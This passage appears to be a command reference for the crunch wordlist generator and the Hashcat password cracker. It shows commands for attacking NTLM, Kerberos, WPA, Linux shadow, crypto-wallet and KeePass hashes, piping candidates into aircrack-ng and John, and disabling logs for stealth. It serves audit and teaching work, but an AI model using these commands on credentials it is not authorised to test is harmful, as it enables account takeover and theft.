generation ## Install - apt: `sudo apt install crunch` - brew: `brew install crunch` ## Basic Wordlist Generation ### crunch 1 1 ```bash crunch 1 1 ``` Generates a list of single characters using the default lowercase alphabet. ### crunch 4 4 ```bash crunch 4 4 ``` Generates all possible 4-character strings using default lowercase letters. ### crunch 1 3 ```bash crunch 1 3 ``` Generates words ranging from length 1 to length 3 using default settings. ### crunch 6 6 0123456789 ```bash crunch 6 6 0123456789 ``` Generates all 6-digit numeric combinations. ### crunch 4 4 abcde ```bash crunch 4 4 abcde ``` Generates 4-character combinations using only the letters a, b, c, d, and e. ### crunch 8 8 0123456789ABCDEF ```bash crunch 8 8 0123456789ABCDEF ``` Generates 8-character hex strings using uppercase hex characters. ## Character Set Handling ### crunch 4 4 -f /usr/share/crunch/charset.lst numeric ```bash crunch 4 4 -f /usr/share/crunch/charset.lst numeric ``` Uses the 'numeric' profile from the standard charset.lst file. ### crunch 6 6 -f /usr/share/crunch/charset.lst ualpha ```bash crunch 6 6 -f /usr/share/crunch/charset.lst ualpha ``` Generates 6-character uppercase words using the charset file. ### crunch 5 5 -f /usr/share/crunch/charset.lst mixalpha ```bash crunch 5 5 -f /usr/share/crunch/charset.lst mixalpha ``` Generates 5-character mixed-case alphabetic strings. ### crunch 8 8 -f /usr/share/crunch/charset.lst ualpha-numeric ```bash crunch 8 8 -f /usr/share/crunch/charset.lst ualpha-numeric ``` Generates 8-character alphanumeric strings using uppercase letters and numbers. ### crunch 1 1 -f /usr/share/crunch/charset.lst symbols14 ```bash crunch 1 1 -f /usr/share/crunch/charset.lst symbols14 ``` Generates single characters from the symbols14 charset profile. ### crunch 4 4 + + 123 + ```bash crunch 4 4 + + 123 + ``` Uses placeholders (+) for default charsets while specifying a custom numeric set. ## Pattern Based Generation ### crunch 4 4 -t @@@@ ```bash crunch 4 4 -t @@@@ ``` Explicitly uses the @ pattern to generate 4-character lowercase words. ### crunch 4 4 -t ,,,, ```bash crunch 4 4 -t ,,,, ``` Uses the comma pattern to generate 4-character uppercase words. ### crunch 4 4 -t %%%% ```bash crunch 4 4 -t %%%% ``` Uses the percent pattern to generate 4-digit numbers. ### crunch 4 4 -t ^^^^ ```bash crunch 4 4 -t ^^^^ ``` Uses the caret pattern to generate 4-character symbol strings. ### crunch 6 6 -t pass%% ```bash crunch 6 6 -t pass%% ``` Generates 6-character words starting with 'pass' followed by 2 numbers. ### crunch 8 8 -t Admin1@@ ```bash crunch 8 8 -t Admin1@@ ``` Generates 8-character words starting with 'Admin1' followed by 2 lowercase letters. ### crunch 7 7 -t ,@^%@^% ```bash crunch 7 7 -t ,@^%@^% ``` Generates a complex 7-char pattern mixing upper, lower, symbol, number, lower, symbol, number. ### crunch 10 10 -t 919%%%%%%% ```bash crunch 10 10 -t 919%%%%%%% ``` Generates 10-digit phone numbers starting with the area code 919. ## Permutation Generation ### crunch 1 1 -p abc ```bash crunch 1 1 -p abc ``` Generates all permutations of the characters 'a', 'b', and 'c'. ### crunch 1 1 -p dog cat bird ```bash crunch 1 1 -p dog cat bird ``` Generates all permutations of the words 'dog', 'cat', and 'bird'. ## Output File Control ### crunch 4 4 -o wordlist.txt ```bash crunch 4 4 -o wordlist.txt ``` Saves the generated 4-character wordlist to a file named wordlist.txt. ### crunch 4 4 -u ```bash crunch 4 4 -u ``` Suppresses the printout of the estimated file size and line count. ## Start and End Blocks ### crunch 4 4 -s bbba ```bash crunch 4 4 -s bbba ``` Starts generation at the string 'bbba' instead of 'aaaa'. ### crunch 4 4 -e aazz ```bash crunch 4 4 -e aazz ``` Stops generation immediately after the string 'aazz' is created. ### crunch 4 4 -s aaaa -e aazz ```bash crunch 4 4 -s aaaa -e aazz ``` Generates a subset of the 4-character space from 'aaaa' to 'aazz'. ## Handling Duplicates ### crunch 8 8 -d 2@ ```bash crunch 8 8 -d 2@ ``` Limits the output to prevent more than 2 consecutive lowercase characters. ### crunch 6 6 -d 1% ```bash crunch 6 6 -d 1% ``` Ensures no two consecutive numbers are identical in the output. ### crunch 5 5 -d 2@ -t @@@@@ ```bash crunch 5 5 -d 2@ -t @@@@@ ``` Generates 5-letter words with a pattern but restricts consecutive identical letters to 2. ## File Splitting ### crunch 6 6 -o START -b 20mb ```bash crunch 6 6 -o START -b 20mb ``` Splits output into multiple files, each maximum 20 megabytes. ### crunch 6 6 -o START -c 1000 ```bash crunch 6 6 -o START -c 1000 ``` Splits output into multiple files, each containing exactly 1000 lines. ### crunch 10 10 -o part -b 2gb ```bash crunch 10 10 -o part -b 2gb ``` Generates 10-char words split into 2GB chunks for handling massive lists. ## Compression ### crunch 4 4 -o list.txt.gz -z gzip ```bash crunch 4 4 -o list.txt.gz -z gzip ``` Compresses the output on-the-fly using gzip. ### crunch 4 4 -o list.txt.bz2 -z bzip2 ```bash crunch 4 4 -o list.txt.bz2 -z bzip2 ``` Compresses the output on-the-fly using bzip2 algorithm. ### crunch 4 4 -o list.txt.lzma -z lzma ```bash crunch 4 4 -o list.txt.lzma -z lzma ``` Compresses the output using LZMA for high compression ratios. ### crunch 4 4 -o list.7z -z 7z ```bash crunch 4 4 -o list.7z -z 7z ``` Compresses the output using the 7z archive format. ## Literal Handling ### crunch 5 5 -t @@@%% -l @@@@@ ```bash crunch 5 5 -t @@@%% -l @@@@@ ``` Treats the @ symbols in the pattern as literal '@' characters, not wildcards. ### crunch 4 4 -t %%,^ -l aaaa ```bash crunch 4 4 -t %%,^ -l aaaa ``` Forces the pattern characters to be treated as literals using a placeholder string. ### crunch 3 3 -t %%% -l @%^ ```bash crunch 3 3 -t %%% -l @%^ ``` Allows generating strings containing actual pattern characters by escaping them. ## Advanced Patterns ### crunch 5 5 -t ddd@@ -p dog cat bird ```bash crunch 5 5 -t ddd@@ -p dog cat bird ``` Treats 'ddd' as a permutation block and '@@' as standard wildcards. ## Inversion ### crunch 4 4 -i ```bash crunch 4 4 -i ``` Inverts the output generation order (useful for non-standard iteration). ## Input from File ### crunch 4 4 -q inputs.txt ```bash crunch 4 4 -q inputs.txt ``` Permutes input read line-by-line from the specified file 'inputs.txt'. ## Resume and Recovery ### crunch 4 4 -r ```bash crunch 4 4 -r ``` Resumes a previous session based on existing parameters (often requires -s manually). ## Blue Team Policy Testing ### crunch 8 8 -f charset.lst mixalpha-numeric -d 2@ ```bash crunch 8 8 -f charset.lst mixalpha-numeric -d 2@ ``` Generates complex passwords but enforces a policy against 3 repeated chars. ### crunch 12 12 -t P@ss%%%%%%%% ```bash crunch 12 12 -t P@ss%%%%%%%% ``` Tests for weak variations of 'Pass' followed by 8 random numbers. ### crunch 8 8 -t ,@^%,@^% ```bash crunch 8 8 -t ,@^%,@^% ``` Validates complexity requirements by generating alternating character types. ## Red Team Optimization ### crunch 1 5 -o wordlist.txt -b 500mb -z gzip ```bash crunch 1 5 -o wordlist.txt -b 500mb -z gzip ``` Generates a massive range split into manageable, compressed 500MB chunks. ### crunch 4 4 -t @@@@ -o /dev/null ```bash crunch 4 4 -t @@@@ -o /dev/null ``` Benchmarks generation speed by piping output to null. ### crunch 6 6 0123456789 -s 500000 ```bash crunch 6 6 0123456789 -s 500000 ``` Optimizes distributed cracking by starting a node at the midpoint of the keyspace. ## Pipeline Integration ### crunch 2 2 | cat ```bash crunch 2 2 | cat ``` Pipes generated output directly to stdout for another tool to consume. ### crunch 4 4 | aircrack-ng -w - capture.cap ```bash crunch 4 4 | aircrack-ng -w - capture.cap ``` Pipes passwords directly into Aircrack-ng without saving to disk. ### crunch 8 8 | john --stdin ```bash crunch 8 8 | john --stdin ``` Feeds generated candidates directly into John the Ripper. ## Complex Patterns ### crunch 10 10 -t 2023@@@@@@ ```bash crunch 10 10 -t 2023@@@@@@ ``` Target specific year-based passwords with 6 random trailing characters. ### crunch 9 9 -t admin%%%% ```bash crunch 9 9 -t admin%%%% ``` Generates 'admin' followed by 4 digits. ### crunch 8 8 -t @@@123@@ ```bash crunch 8 8 -t @@@123@@ ``` Injects a static numeric sequence '123' into the middle of random letters. ### crunch 7 7 -t ^^^^^^^ ```bash crunch 7 7 -t ^^^^^^^ ``` Generates a high-entropy list of 7-character symbol-only passwords. ## Custom Charset Combination ### crunch 4 4 abc 123 -t @@@% ```bash crunch 4 4 abc 123 -t @@@% ``` Uses 'abc' for the @ placeholder and '123' for the % placeholder. ### crunch 5 5 abc ABC 123 !@# -t ,@%^, ```bash crunch 5 5 abc ABC 123 !@# -t ,@%^, ``` Maps four custom character strings to the uppercase, lowercase, numeric, and symbol placeholders. ## Edge Case - Single Char ### crunch 1 1 -t % ```bash crunch 1 1 -t % ``` Generates single digits 0-9 using the pattern flag. ## Edge Case - Space Handling ### crunch 3 3 "a b" ```bash crunch 3 3 "a b" ``` Generates combinations including spaces by enclosing the charset in quotes. ## Advanced Resume ### crunch 5 5 -o list.txt -s ccccc ```bash crunch 5 5 -o list.txt -s ccccc ``` Manually resumes a failed 5-char generation job starting from 'ccccc'. ## Memory Safety ### crunch 12 12 -t @@@@@@@@@@@@ -u | head -n 5 ```bash crunch 12 12 -t @@@@@@@@@@@@ -u | head -n 5 ``` Safe preview of a massive generation job without filling disk or memory. ## Permutation with Output ### crunch 0 0 -p red blue green -o colors.txt ```bash crunch 0 0 -p red blue green -o colors.txt ``` Saves permutations of color words to a file, ignoring min/max arguments. ## Policy Audit - Max Repeated ### crunch 6 6 -d 1@ ```bash crunch 6 6 -d 1@ ``` Strict auditing: allows NO consecutive duplicate lowercase letters. ## Policy Audit - Structure ### crunch 8 8 -t ,@%^,@%^ ```bash crunch 8 8 -t ,@%^,@%^ ``` Simulates a very strict corporate password policy (UpperLowerNumberSymbol). ## Charset File - Hex ### crunch 32 32 -f charset.lst hex-upper ```bash crunch 32 32 -f charset.lst hex-upper ``` Generates 32-character uppercase hex keys (MD5 hash equivalent structure). ## Charset File - SQL Injection ### crunch 2 2 -f charset.lst sql ```bash crunch 2 2 -f charset.lst sql ``` Generates short combinations using common SQL injection characters. ## Output Formatting ### crunch 4 4 -o START.txt ```bash crunch 4 4 -o START.txt ``` Automatically names the output file using the first word generated (e.g., aaaa.txt). ### crunch 4 4 -o END.txt ```bash crunch 4 4 -o END.txt ``` Automatically names the output file using the last word generated (e.g., zzzz.txt). ### crunch 4 4 -o START-END.txt ```bash crunch 4 4 -o START-END.txt ``` Names the file with the range contained within (e.g., aaaa-zzzz.txt). ## Extreme Size Management ### crunch 8 8 -b 1gb -o wordlist ```bash crunch 8 8 -b 1gb -o wordlist ``` Splits a large 8-char dictionary into manageable 1GB volumes. ### crunch 8 8 -c 1000000 -o wordlist ```bash crunch 8 8 -c 1000000 -o wordlist ``` Splits a large dictionary into files containing exactly 1 million lines each. ## Complex Logic - Inverted Pattern ### crunch 6 6 -t @@@123 -i ```bash crunch 6 6 -t @@@123 -i ``` Generates the list with inverted logic for specific iteration checks. ## Complex Logic - Literal Escape ### crunch 1 1 -t @ -l @ ```bash crunch 1 1 -t @ -l @ ``` Generates a file containing the literal character '@'. ### crunch 1 1 -t % -l % ```bash crunch 1 1 -t % -l % ``` Generates a file containing the literal character '%'. ### crunch 1 1 -t ^ -l ^ ```bash crunch 1 1 -t ^ -l ^ ``` Generates a file containing the literal character '^'. ## Date Based Generation ### crunch 8 8 -t 199%%%%% ```bash crunch 8 8 -t 199%%%%% ``` Generates dates or IDs starting with the year 199X. ### crunch 8 8 -t 200%%%%% ```bash crunch 8 8 -t 200%%%%% ``` Generates dates or IDs starting with the year 200X. ## SSN Simulation ### crunch 11 11 -t %%%-%%-%%%% ```bash crunch 11 11 -t %%%-%%-%%%% ``` Generates strings matching the US Social Security Number format (synthetic). ## MAC Address Simulation ### crunch 17 17 -t AA:BB:CC:%%:%%:%% ```bash crunch 17 17 -t AA:BB:CC:%%:%%:%% ``` Generates MAC addresses for a specific OUI (AA:BB:CC). ## Credit Card Simulation ### crunch 16 16 -t 4%%%%%%%%%%%%%%% ```bash crunch 16 16 -t 4%%%%%%%%%%%%%%% ``` Generates 16-digit numbers starting with 4 (Visa format validation). ## Custom Separators ### crunch 5 5 -t @-@-@ ```bash crunch 5 5 -t @-@-@ ``` Generates 5-char patterns with hyphens hardcoded between letters. ## Whitespace Permutations ### crunch 3 3 -p " " . _ ```bash crunch 3 3 -p " " . _ ``` Permutes whitespace, dot, and underscore for delimiter fuzzing. ## Unicode/Special Charsets ### crunch 2 2 £$€ ```bash crunch 2 2 £$€ ``` Generates combinations of currency symbols. ## Advanced Piping - Hashcat ### crunch 6 6 | hashcat -m 0 hashes.txt ```bash crunch 6 6 | hashcat -m 0 hashes.txt ``` Pipes candidates directly to Hashcat (legacy method, usually Hashcat manages this). ## Advanced Piping - Scripting ### crunch 4 4 | while read pass; do echo "Testing $pass"; done ```bash crunch 4 4 | while read pass; do echo "Testing $pass"; done ``` Pipes output into a bash while loop for custom processing logic. ## Distributed Cracking - Part 1 ### crunch 5 5 -e mmmmm -o chunk1.txt ```bash crunch 5 5 -e mmmmm -o chunk1.txt ``` Generates the first half of a 5-letter keyspace. ## Distributed Cracking - Part 2 ### crunch 5 5 -s nnnnn -o chunk2.txt ```bash crunch 5 5 -s nnnnn -o chunk2.txt ``` Generates the second half of a 5-letter keyspace. ## Debug Mode ### crunch 4 4 -d 1@ -u ```bash crunch 4 4 -d 1@ -u ``` Runs a duplicate-check generation while suppressing size warnings for quick verification. ## Custom Wildcard Mapping ### crunch 4 4 -f charset.lst lalpha -t @@@@ ```bash crunch 4 4 -f charset.lst lalpha -t @@@@ ``` Maps the lalpha charset from file to the @ wildcard. ## Multi-Charset Masking ### crunch 4 4 0123 4567 89AB CDEF -t @,%^ ```bash crunch 4 4 0123 4567 89AB CDEF -t @,%^ ``` Maps four specific custom strings to the four wildcard types separately. ## Zero Length Permutations ### crunch 0 0 -p admin root user ```bash crunch 0 0 -p admin root user ``` Uses 0 0 to signify permutation mode without length constraints. ## Rapid Prototyping ### crunch 1 10 -f charset.lst lalpha -o /dev/null -z gzip ```bash crunch 1 10 -f charset.lst lalpha -o /dev/null -z gzip ``` Tests compression speed without saving the file. ## Combinator Attack Prep ### crunch 4 4 -o left.txt ```bash crunch 4 4 -o left.txt ``` Creates the left side for a combinator attack. ### crunch 4 4 0123456789 -o right.txt ```bash crunch 4 4 0123456789 -o right.txt ``` Creates the right side (digits) for a combinator attack. ## Specific Protocol Fuzzing ### crunch 8 8 -t HTTP/%.% ```bash crunch 8 8 -t HTTP/%.% ``` Generates strings looking like HTTP versions for fuzzing. ## Environment Variable Injection ### crunch 6 6 -t $USER%% ```bash crunch 6 6 -t $USER%% ``` Generates strings containing the literal text '$USER' followed by digits. ## Massive Numeric Keypad ### crunch 6 6 0123456789 -o pins.txt ```bash crunch 6 6 0123456789 -o pins.txt ``` Generates a complete 6-digit PIN code wordlist. ## The Ultimate Combined Command ### crunch 8 8 -f charset.lst mixalpha-numeric -t @@@@@%%% -b 10mb -o WORDLIST -z gzip ```bash crunch 8 8 -f charset.lst mixalpha-numeric -t @@@@@%%% -b 10mb -o WORDLIST -z gzip ``` Combines charset files, patterns, splitting, dynamic naming, and compression in one command. ## Related tools - [CeWL](https://terminal.rokibulroni.com/tool/credentials/cewl) - [RSMangler](https://terminal.rokibulroni.com/tool/credentials/rsmangler) - [Hashcat](https://terminal.rokibulroni.com/tool/credentials/hashcat) # Tool: Hashcat > The world’s fastest GPU password cracker: hundreds of hash types with dictionary, rule, mask and hybrid attack modes. - Category: Credentials - Commands: 100 - Page: https://terminal.rokibulroni.com/tool/credentials/hashcat - Homepage: https://hashcat.net/hashcat/ - Documentation: https://hashcat.net/wiki/ - Tags: password cracking, GPU, hashes ## Install - apt: `sudo apt install hashcat` - brew: `brew install hashcat` - windows: `winget install hashcat.hashcat` ## Basic Syntax & Help ### hashcat --help ```bash hashcat --help ``` Displays the main help menu listing all valid parameters and modes. ### hashcat --version ```bash hashcat --version ``` Prints the currently installed version of Hashcat to the console. ## Benchmarking ### hashcat -b ```bash hashcat -b ``` Runs a benchmark against the default kernel set to test system performance. ### hashcat -b -m 1000 ```bash hashcat -b -m 1000 ``` Runs a benchmark specifically for NTLM hashing speed measurement. ### hashcat -b -m 0 --force ```bash hashcat -b -m 0 --force ``` Forces a benchmark of MD5 hashes even if warnings are present. ## Hash Mode Identification ### hashcat --example-hashes ```bash hashcat --example-hashes ``` Displays a table of example hashes for every supported hash mode. ## Basic Dictionary Attack ### hashcat -m 0 -a 0 hashes.txt wordlist.txt ```bash hashcat -m 0 -a 0 hashes.txt wordlist.txt ``` Performs a standard dictionary attack against MD5 hashes using a single wordlist. ### hashcat -m 1000 -a 0 ntlm.txt wordlist.txt ```bash hashcat -m 1000 -a 0 ntlm.txt wordlist.txt ``` Performs a standard dictionary attack against NTLM hashes typically found in Windows environments. ### hashcat -m 1800 -a 0 shadow.txt rockyou.txt ```bash hashcat -m 1800 -a 0 shadow.txt rockyou.txt ``` Attacks sha512crypt hashes often found in Linux /etc/shadow files. ### hashcat -m 0 hashes.txt list1.txt list2.txt ```bash hashcat -m 0 hashes.txt list1.txt list2.txt ``` Attacks MD5 hashes using multiple wordlists loaded sequentially. ## Rule Based Attack ### hashcat -m 0 -a 0 -r rules/best64.rule hashes.txt wordlist.txt ```bash hashcat -m 0 -a 0 -r rules/best64.rule hashes.txt wordlist.txt ``` Applies the popular 'best64' mutation rules to the wordlist candidates. ### hashcat -m 0 -r rules/dive.rule hashes.txt wordlist.txt ```bash hashcat -m 0 -r rules/dive.rule hashes.txt wordlist.txt ``` Uses the extensive 'dive' rule set for deeper mutation coverage. ### hashcat -m 0 -j k$ hashes.txt wordlist.txt ```bash hashcat -m 0 -j k$ hashes.txt wordlist.txt ``` Applies a single dynamic rule to append a dollar sign to every word. ### hashcat -m 0 -r rule1.rule -r rule2.rule hashes.txt wordlist.txt ```bash hashcat -m 0 -r rule1.rule -r rule2.rule hashes.txt wordlist.txt ``` Stacks multiple rule files to apply complex mutations in sequence. ### hashcat -m 0 -g 10000 hashes.txt wordlist.txt ```bash hashcat -m 0 -g 10000 hashes.txt wordlist.txt ``` Generates 10,000 random rules to apply to the dictionary. ## Mask Attack ### hashcat -m 0 -a 3 hashes.txt ?a?a?a?a ```bash hashcat -m 0 -a 3 hashes.txt ?a?a?a?a ``` Brute forces MD5 hashes trying all combinations of 4 printable characters. ### hashcat -m 0 -a 3 hashes.txt ?d?d?d?d?d?d ```bash hashcat -m 0 -a 3 hashes.txt ?d?d?d?d?d?d ``` Brute forces MD5 hashes looking specifically for 6-digit PIN codes. ### hashcat -m 0 -a 3 hashes.txt ?u?l?l?l?d?d?d?d ```bash hashcat -m 0 -a 3 hashes.txt ?u?l?l?l?d?d?d?d ``` Uses a structured mask for an Uppercase, 3 Lowercase, and 4 Digits pattern. ### hashcat -m 0 -a 3 -i hashes.txt ?a?a?a?a?a ```bash hashcat -m 0 -a 3 -i hashes.txt ?a?a?a?a?a ``` Enables increment mode to try lengths 1 through 5 sequentially. ### hashcat -m 0 -a 3 -i --increment-min=4 --increment-max=8 hashes.txt ?a?a?a?a?a?a?a?a ```bash hashcat -m 0 -a 3 -i --increment-min=4 --increment-max=8 hashes.txt ?a?a?a?a?a?a?a?a ``` Brute forces all printable characters restricting length between 4 and 8. ## Custom Charsets ### hashcat -m 0 -a 3 -1 ?l?d hashes.txt ?1?1?1?1 ```bash hashcat -m 0 -a 3 -1 ?l?d hashes.txt ?1?1?1?1 ``` Defines custom charset 1 as lowercase and digits, then uses it for a 4-char mask. ### hashcat -m 0 -a 3 -1 ?l?u -2 ?d?s hashes.txt ?1?1?1?2?2?2 ```bash hashcat -m 0 -a 3 -1 ?l?u -2 ?d?s hashes.txt ?1?1?1?2?2?2 ``` Uses two separate custom charsets to define a specific password complexity pattern. ### hashcat -m 0 -a 3 --custom-charset1=?l?d hashes.txt ?1?1?1?1?1 ```bash hashcat -m 0 -a 3 --custom-charset1=?l?d hashes.txt ?1?1?1?1?1 ``` Explicitly defines a custom charset using the long-form flag. ## Hybrid Attack ### hashcat -m 0 -a 6 hashes.txt wordlist.txt ?d?d?d?d ```bash hashcat -m 0 -a 6 hashes.txt wordlist.txt ?d?d?d?d ``` Appends a 4-digit mask to the end of every word in the wordlist. ### hashcat -m 0 -a 7 hashes.txt ?d?d?d?d wordlist.txt ```bash hashcat -m 0 -a 7 hashes.txt ?d?d?d?d wordlist.txt ``` Prepends a 4-digit mask to the beginning of every word in the wordlist. ### hashcat -m 0 -a 6 -j S wordlist.txt ?d?d ```bash hashcat -m 0 -a 6 -j S wordlist.txt ?d?d ``` Uses a rule to capitalize words before appending a 2-digit mask. ## Combinator Attack ### hashcat -m 0 -a 1 hashes.txt left.txt right.txt ```bash hashcat -m 0 -a 1 hashes.txt left.txt right.txt ``` Combines words from two lists to form candidates like 'word1word2'. ### hashcat -m 0 -a 1 -j $- -k $! hashes.txt first.txt second.txt ```bash hashcat -m 0 -a 1 -j $- -k $! hashes.txt first.txt second.txt ``` Injects a hyphen between the words and an exclamation mark at the end. ## Session Management ### hashcat -m 0 hashes.txt list.txt --session=project1 ```bash hashcat -m 0 hashes.txt list.txt --session=project1 ``` Starts a cracking session with a specific name for easier resumption. ### hashcat --session=project1 --restore ```bash hashcat --session=project1 --restore ``` Resumes a previously interrupted session named 'project1' from the restore point. ## Performance Tuning ### hashcat -m 0 -w 3 hashes.txt list.txt ```bash hashcat -m 0 -w 3 hashes.txt list.txt ``` Sets the workload profile to 'High' to prioritize cracking speed over desktop responsiveness. ### hashcat -m 0 -w 4 hashes.txt list.txt ```bash hashcat -m 0 -w 4 hashes.txt list.txt ``` Sets workload profile to 'Nightmare' for maximum GPU utilization on dedicated rigs. ### hashcat -m 0 -O hashes.txt list.txt ```bash hashcat -m 0 -O hashes.txt list.txt ``` Enables optimized kernels which limits password length but increases speed. ### hashcat -m 0 -S hashes.txt list.txt ```bash hashcat -m 0 -S hashes.txt list.txt ``` Enables the slow candidate generator for specific low-performance scenarios. ## Device Control ### hashcat -I ```bash hashcat -I ``` Displays detailed information about installed OpenCL/CUDA devices and drivers. ### hashcat -d 1 -m 0 hashes.txt list.txt ```bash hashcat -d 1 -m 0 hashes.txt list.txt ``` Forces Hashcat to use only the device with ID 1. ### hashcat -D 2 -m 0 hashes.txt list.txt ```bash hashcat -D 2 -m 0 hashes.txt list.txt ``` Forces the backend type to use GPU devices only. ### hashcat -m 0 --gpu-temp-abort=90 hashes.txt list.txt ```bash hashcat -m 0 --gpu-temp-abort=90 hashes.txt list.txt ``` Automatically aborts the attack if the GPU temperature reaches 90 degrees Celsius. ### hashcat -m 0 --gpu-temp-retain=80 hashes.txt list.txt ```bash hashcat -m 0 --gpu-temp-retain=80 hashes.txt list.txt ``` Adjusts fan speeds dynamically to try and maintain a temperature of 80 degrees. ## Status & Monitoring ### hashcat -m 0 --status hashes.txt list.txt ```bash hashcat -m 0 --status hashes.txt list.txt ``` Enables the automatic status screen update during the attack. ### hashcat -m 0 --status-timer=30 hashes.txt list.txt ```bash hashcat -m 0 --status-timer=30 hashes.txt list.txt ``` Sets the interval for the status screen update to every 30 seconds. ## Output Management ### hashcat -m 0 -o cracked.txt hashes.txt list.txt ```bash hashcat -m 0 -o cracked.txt hashes.txt list.txt ``` Writes recovered passwords to a specific output file. ### hashcat -m 0 --outfile-format=2 -o cracked.txt hashes.txt list.txt ```bash hashcat -m 0 --outfile-format=2 -o cracked.txt hashes.txt list.txt ``` Writes output in format 'plain_password' only, omitting the hash. ### hashcat -m 0 --outfile-format=3 -o cracked.txt hashes.txt list.txt ```bash hashcat -m 0 --outfile-format=3 -o cracked.txt hashes.txt list.txt ``` Writes output in format 'hash:plain_password' including hex data. ## Potfile Management ### hashcat -m 0 --show hashes.txt ```bash hashcat -m 0 --show hashes.txt ``` Reads the potfile to display only the hashes that have already been cracked. ### hashcat -m 0 --left hashes.txt ```bash hashcat -m 0 --left hashes.txt ``` Reads the potfile to display only the hashes that have NOT yet been cracked. ### hashcat -m 0 --potfile-disable hashes.txt list.txt ```bash hashcat -m 0 --potfile-disable hashes.txt list.txt ``` Prevents Hashcat from writing recovered credentials to the potfile. ## Hash Parsing ### hashcat -m 0 --username hashes.txt list.txt ```bash hashcat -m 0 --username hashes.txt list.txt ``` Ignores the username field in 'user:hash' formatted input files. ### hashcat -m 0 --separator=, hashes.csv list.txt ```bash hashcat -m 0 --separator=, hashes.csv list.txt ``` Specifies a comma as the separator for input files. ### hashcat -m 0 --remove hashes.txt list.txt ```bash hashcat -m 0 --remove hashes.txt list.txt ``` Removes hashes from the input file immediately as they are cracked. ## Advanced Hash Types ### hashcat -m 2500 capture.hccapx list.txt ```bash hashcat -m 2500 capture.hccapx list.txt ``` Attacks WPA/WPA2 wireless keys using the legacy hccapx format. ### hashcat -m 22000 capture.hc22000 list.txt ```bash hashcat -m 22000 capture.hc22000 list.txt ``` Attacks WPA-PBKDF2-PMKID+EAPOL (modern WiFi) using the hc22000 format. ### hashcat -m 5600 ntlmv2.txt list.txt ```bash hashcat -m 5600 ntlmv2.txt list.txt ``` Attacks NetNTLMv2 hashes captured via Responder or similar tools. ### hashcat -m 13100 krb5tgs.txt list.txt ```bash hashcat -m 13100 krb5tgs.txt list.txt ``` Attacks Kerberos 5 TGS-REP etype 23 hashes (Roasting). ### hashcat -m 18200 asrep.txt list.txt ```bash hashcat -m 18200 asrep.txt list.txt ``` Attacks Kerberos 5 AS-REP etype 23 hashes. ### hashcat -m 3200 bcrypt.txt list.txt ```bash hashcat -m 3200 bcrypt.txt list.txt ``` Attacks Blowfish/bcrypt hashes ($2a$, $2y$, etc.). ### hashcat -m 15700 eth_wallet.txt list.txt ```bash hashcat -m 15700 eth_wallet.txt list.txt ``` Attacks Ethereum wallet SCRYPT based password protection. ### hashcat -m 11300 btc_wallet.txt list.txt ```bash hashcat -m 11300 btc_wallet.txt list.txt ``` Attacks Bitcoin/Litecoin wallet.dat files. ### hashcat -m 12500 pdf.txt list.txt ```bash hashcat -m 12500 pdf.txt list.txt ``` Attacks PDF 1.7 Level 3 password protection. ### hashcat -m 13600 winzip.txt list.txt ```bash hashcat -m 13600 winzip.txt list.txt ``` Attacks WinZip AES-256 encrypted archive headers. ### hashcat -m 6211 truecrypt.txt list.txt ```bash hashcat -m 6211 truecrypt.txt list.txt ``` Attacks TrueCrypt volumes using RIPEMD160 + AES boot mode. ### hashcat -m 13400 keepass.txt list.txt ```bash hashcat -m 13400 keepass.txt list.txt ``` Attacks KeePass 1 and KeePass 2 password manager database files. ### hashcat -m 16800 pmkid.txt list.txt ```bash hashcat -m 16800 pmkid.txt list.txt ``` Attacks WPA-PMKID (PMKID-only) captures without full handshakes. ## Special Features ### hashcat -m 0 --hex-salt hashes.txt list.txt ```bash hashcat -m 0 --hex-salt hashes.txt list.txt ``` Assumes the salt within the hash file is given in hexadecimal format. ### hashcat -m 0 --hex-charset -1 414243 hashes.txt ?1?1?1 ```bash hashcat -m 0 --hex-charset -1 414243 hashes.txt ?1?1?1 ``` Allows defining the custom charset using hexadecimal bytes. ### hashcat -m 0 --keep-guessing hashes.txt list.txt ```bash hashcat -m 0 --keep-guessing hashes.txt list.txt ``` Continues attacking a hash even after a collision is found (useful for collisions/salts). ### hashcat -m 0 --loopback hashes.txt --potfile-path=my.pot ```bash hashcat -m 0 --loopback hashes.txt --potfile-path=my.pot ``` Uses the passwords found in the potfile as the wordlist for a new attack. ### hashcat -m 0 --markov-classic hashes.txt ```bash hashcat -m 0 --markov-classic hashes.txt ``` Enables the classic Markov-chain based candidate generator. ### hashcat -m 0 --markov-disable hashes.txt ?a?a?a?a ```bash hashcat -m 0 --markov-disable hashes.txt ?a?a?a?a ``` Disables the internal Markov statistics usually applied to masks. ## Advanced Automation ### hashcat -m 0 --self-test-disable hashes.txt list.txt ```bash hashcat -m 0 --self-test-disable hashes.txt list.txt ``` Disables the startup self-test (risky, but useful for unstable/embedded devices). ### hashcat --stdout -r rules/best64.rule wordlist.txt ```bash hashcat --stdout -r rules/best64.rule wordlist.txt ``` Prints the candidates generated by rules and wordlist to stdout without cracking. ### hashcat --stdout -a 3 ?d?d?d?d ```bash hashcat --stdout -a 3 ?d?d?d?d ``` Generates a keyspace of candidates to stdout for piping into other tools. ### hashcat -m 0 -a 3 --skip=100000 --limit=50000 hashes.txt ?a?a?a?a ```bash hashcat -m 0 -a 3 --skip=100000 --limit=50000 hashes.txt ?a?a?a?a ``` Skips the first 100k candidates and runs only the next 50k (distributed cracking). ## Distribution ### hashcat -m 0 -s 1000 -l 2000 hashes.txt list.txt ```bash hashcat -m 0 -s 1000 -l 2000 hashes.txt list.txt ``` Shorthand flags for skip and limit to control workload chunks. ## Audit & Compliance ### hashcat -m 0 -a 3 --increment --increment-min=1 --increment-max=7 hashes.txt ?a?a?a?a?a?a?a ```bash hashcat -m 0 -a 3 --increment --increment-min=1 --increment-max=7 hashes.txt ?a?a?a?a?a?a?a ``` Audits for passwords strictly shorter than 8 characters. ### hashcat -m 0 -a 3 hashes.txt ?d?d?d?d?d?d?d?d?d?d ```bash hashcat -m 0 -a 3 hashes.txt ?d?d?d?d?d?d?d?d?d?d ``` Audits for 10-digit number usage (phone numbers/IDs). ### hashcat -m 0 -a 0 wordlist.txt hashes.txt --show ```bash hashcat -m 0 -a 0 wordlist.txt hashes.txt --show ``` Validates which current dictionary words match the hash list. ## Log Management ### hashcat -m 0 --logfile=audit_session.log hashes.txt list.txt ```bash hashcat -m 0 --logfile=audit_session.log hashes.txt list.txt ``` Redirects all session output to a specific log file for reporting. ### hashcat -m 0 --logfile-disable hashes.txt list.txt ```bash hashcat -m 0 --logfile-disable hashes.txt list.txt ``` Disables logging entirely for stealth or read-only filesystem operations. ## Rule Generation ### hashcat -m 0 --generate-rules=5000 hashes.txt list.txt ```bash hashcat -m 0 